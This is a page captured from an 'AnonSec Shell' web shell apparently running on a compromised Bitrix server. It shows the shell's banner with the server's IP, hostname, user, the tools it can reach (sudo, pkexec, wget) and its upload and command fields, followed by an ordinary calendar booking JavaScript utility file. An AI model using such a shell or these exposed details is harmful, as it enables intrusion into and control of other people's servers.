AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 13.59.143.67
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/calendar/resourcebooking/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/calendar/resourcebooking/src/bookingutil.js
import {Type, Loc, Tag, Runtime, CoreDate} from "./resourcebooking";
import {Translit} from "./translit";

export class BookingUtil {
	static simpleTimeList = null;
	static DAY_LENGTH = 86400000;
	static TIME_FORMAT = null;
	static TIME_FORMAT_SHORT = null;
	static DATE_FORMAT = null;
	static DATETIME_FORMAT = null;

	static getDateFormat()
	{
		if (Type.isNull(BookingUtil.DATE_FORMAT))
		{
			BookingUtil.DATE_FORMAT = CoreDate.convertBitrixFormat(Loc.getMessage("FORMAT_DATE"));
		}
		return BookingUtil.DATE_FORMAT;
	}

	static getDateTimeFormat()
	{
		if (Type.isNull(BookingUtil.DATETIME_FORMAT))
		{
			BookingUtil.DATETIME_FORMAT = CoreDate.convertBitrixFormat(Loc.getMessage("FORMAT_DATETIME"));
		}
		return BookingUtil.DATETIME_FORMAT;
	}

	static getTimeFormat()
	{
		if (Type.isNull(BookingUtil.TIME_FORMAT))
		{
			let DATETIME_FORMAT = BookingUtil.getDateTimeFormat();
			let DATE_FORMAT = BookingUtil.getDateFormat();

			if ((DATETIME_FORMAT.substr(0, DATE_FORMAT.length) === DATE_FORMAT))
			{
				BookingUtil.TIME_FORMAT = DATETIME_FORMAT.substr(DATE_FORMAT.length).trim();
			}
			else
			{
				BookingUtil.TIME_FORMAT = CoreDate.convertBitrixFormat(CoreDate.isAmPmMode() ? 'H:MI:SS T' : 'HH:MI:SS');
			}

			BookingUtil.TIME_FORMAT_SHORT = BookingUtil.TIME_FORMAT.replace(':s', '');
		}

		return BookingUtil.TIME_FORMAT;
	}

	static getTimeFormatShort()
	{
		if (Type.isNull(BookingUtil.TIME_FORMAT_SHORT))
		{
			BookingUtil.TIME_FORMAT_SHORT = BookingUtil.getTimeFormat().replace(':s', '');
		}
		return BookingUtil.TIME_FORMAT_SHORT;
	}

	static formatDate(format, timestamp, now, utc)
	{
		if (format === null)
		{
			format = BookingUtil.getDateFormat();
		}

		if (Type.isDate(timestamp))
		{
			timestamp = timestamp.getTime() / 1000;
		}

		return CoreDate.format(format, timestamp, now, utc);
	}

	static parseDate(str, bUTC, formatDate, formatDatetime)
	{
		return CoreDate.parse(str, bUTC, formatDate, formatDatetime);
	}

	static formatTime(h, m)
	{
		let d = new Date();
		d.setHours(h, m, 0);
		return CoreDate.format(BookingUtil.getTimeFormatShort(), d.getTime() / 1000);
	};

	static translit(str)
	{
		return Type.isString(str) ? Translit.run(str).replace(/[^a-z0-9_]/ig, "_") : str;
	}

	static getLoader(size, className)
	{
		return Tag.render`
		<div class="${className || 'calendar-loader'}">
			<svg class="calendar-loader-circular"
				style="width:${parseInt(size)}px; height:${parseInt(size)}px;"
				viewBox="25 25 50 50">
					<circle class="calendar-loader-path" cx="50" cy="50" r="20" fill="none" stroke-miterlimit="10"/>
					<circle class="calendar-loader-inner-path" cx="50" cy="50" r="20" fill="none" stroke-miterlimit="10"/>
			</svg>
		</div>
`;
	};

	static fireCustomEvent(eventObject, eventName, eventParams, secureParams)
	{
		if (window.BX && Type.isFunction(BX.onCustomEvent))
		{
			return BX.onCustomEvent(eventObject, eventName, eventParams, secureParams);
		}
	}

	static bindCustomEvent(eventObject, eventName, eventHandler)
	{
		if (window.BX && Type.isFunction(BX.addCustomEvent))
		{
			return BX.addCustomEvent(eventObject, eventName, eventHandler);
		}
	}

	static unbindCustomEvent(eventObject, eventName, eventHandler)
	{
		if (window.BX && Type.isFunction(BX.removeCustomEvent))
		{
			return BX.removeCustomEvent(eventObject, eventName, eventHandler);
		}
	}

	static isAmPmMode()
	{
		return CoreDate.isAmPmMode();
	}

	static mergeEx()
	{
		let arg = Array.prototype.slice.call(arguments);
		if(arg.length < 2)
		{
			return {};
		}

		let result = arg.shift();
		for (let i = 0; i < arg.length; i++)
		{
			for (let k in arg[i])
			{
				if (typeof arg[i] === "undefined" || arg[i] == null || !arg[i].hasOwnProperty(k))
				{
					continue;
				}

				if (Type.isPlainObject(arg[i][k]) && Type.isPlainObject(result[k]))
				{
					BookingUtil.mergeEx(result[k], arg[i][k]);
				}
				else
				{
					result[k] = Type.isPlainObject(arg[i][k]) ? Runtime.clone(arg[i][k]) : arg[i][k];
				}
			}
		}

		return result;
	};

	static getDurationList(fullDay)
	{
		let
			values = [5, 10, 15, 20, 25, 30, 40, 45, 50, 60, 90,
				120, 180, 240, 300, 360,
				1440, 1440 * 2, 1440 * 3, 1440 * 4, 1440 * 5, 1440 * 6, 1440 * 7, 1440 * 10],
			val, i, res = [];

		for (i = 0; i < values.length; i++)
		{
			val = values[i];
			if (fullDay && val % 1440 !== 0)
			{
				continue;
			}

			res.push({
				value: val,
				label: BookingUtil.getDurationLabel(val)
			});
		}
		return res;
	}

	static getDurationLabel(val)
	{
		let label;
		if (val % 1440 === 0) // Days
		{
			label = Loc.getMessage('USER_TYPE_DURATION_X_DAY').replace('#NUM#', val / 1440);
		}
		else if (val % 60 === 0 && val !== 60) // Hours
		{
			label = Loc.getMessage('USER_TYPE_DURATION_X_HOUR').replace('#NUM#', val / 60);
		}
		// Minutes
		else
		{
			label = Loc.getMessage('USER_TYPE_DURATION_X_MIN').replace('#NUM#', val);
		}
		return label
	}

	static parseDuration(value)
	{
		let
			stringValue = value,
			numValue = parseInt(value),
			parsed = false,
			dayRegexp = new RegExp('(\\d)\\s*(' + Loc.getMessage('USER_TYPE_DURATION_REGEXP_DAY') + ').*', 'ig'),
			hourRegexp = new RegExp('(\\d)\\s*(' + Loc.getMessage('USER_TYPE_DURATION_REGEXP_HOUR') + ').*', 'ig');

		value = value.replace(dayRegexp, function(str, num){parsed = true;return num;});
		// It's days
		if (parsed)
		{
			value = numValue * 1440;
		}
		else
		{
			value = stringValue.replace(hourRegexp, function(str, num){parsed = true;return num;});
			// It's hours
			if (parsed)
			{
				value = numValue * 60;
			}
			else // Minutes
			{
				value = numValue;
			}
		}

		return parseInt(value) || 0;
	}

	static getSimpleTimeList()
	{
		if (Type.isNull(BookingUtil.simpleTimeList))
		{
			let i, res = [];
			for (i = 0; i < 24; i++)
			{
				res.push({value: i * 60, label: this.formatTime(i, 0)});
				res.push({value: i * 60 + 30, label: this.formatTime(i, 30)});
			}
			BookingUtil.simpleTimeList = res;
		}
		return BookingUtil.simpleTimeList;
	}

	static adaptTimeValue(timeValue)
	{
		timeValue = parseInt(timeValue.h * 60) + parseInt(timeValue.m);
		let
			timeList = BookingUtil.getSimpleTimeList(),
			diff = 24 * 60,
			ind = false,
			i;

		for (i = 0; i < timeList.length; i++)
		{
			if (Math.abs(timeList[i].value - timeValue) < diff)
			{
				diff = Math.abs(timeList[i].value - timeValue);
				ind = i;
				if (diff <= 15)
				{
					break;
				}
			}
		}

		return timeList[ind || 0];
	}

	static getDayLength()
	{
		return BookingUtil.DAY_LENGTH;
	}

	static showLimitationPopup()
	{
		if (top.BX.getClass("BX.UI.InfoHelper"))
		{
			top.BX.UI.InfoHelper.show('limit_crm_booking');
		}
	};
}

Anon7 - 2022
AnonSec Team